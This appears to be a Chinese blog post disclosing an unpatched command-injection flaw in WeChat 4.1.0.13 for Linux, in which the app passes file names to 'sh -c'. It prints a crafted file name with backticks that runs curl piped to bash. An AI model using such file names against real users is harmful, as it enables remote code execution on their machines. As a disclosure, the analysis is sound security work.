linux微信最新rce

微信linux版,截至本文发布日期,微信最新版本4.1.0.13存在rce,示例截图

打开文件即可直接造成rce,目前微信官方暂未修复

原理解析

我在使用 strace抓微信的时候,抓到了这样的一个

strace -s 65535 -y -f -e trace=all -o trace.log -p 215042

[“sh”, “-c”, “–“, “xdg-mime query filetype \”微信路径/`curl${IFS}localhost|bash`(1).txt\””]

微信这边使用sh -c起了一个xdg-mime query filetype,这个是在linux查询文件类型的,这个本来是没有问题的,但是在linux上有个特殊的点,反引号,这个优先级很高,拿下面的命令举个例子

可以看到,命令报错了,但是单引号里面的命令还是执行了。结合这个在来看微信
[“sh”, “-c”, “–“, “xdg-mime query filetype \”微信路径/`curl${IFS}localhost|bash`(1).txt\””]
curl${IFS}localhost|bash`(1).txt 这个文件名是用户可控的,简直就是天然的rce点。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇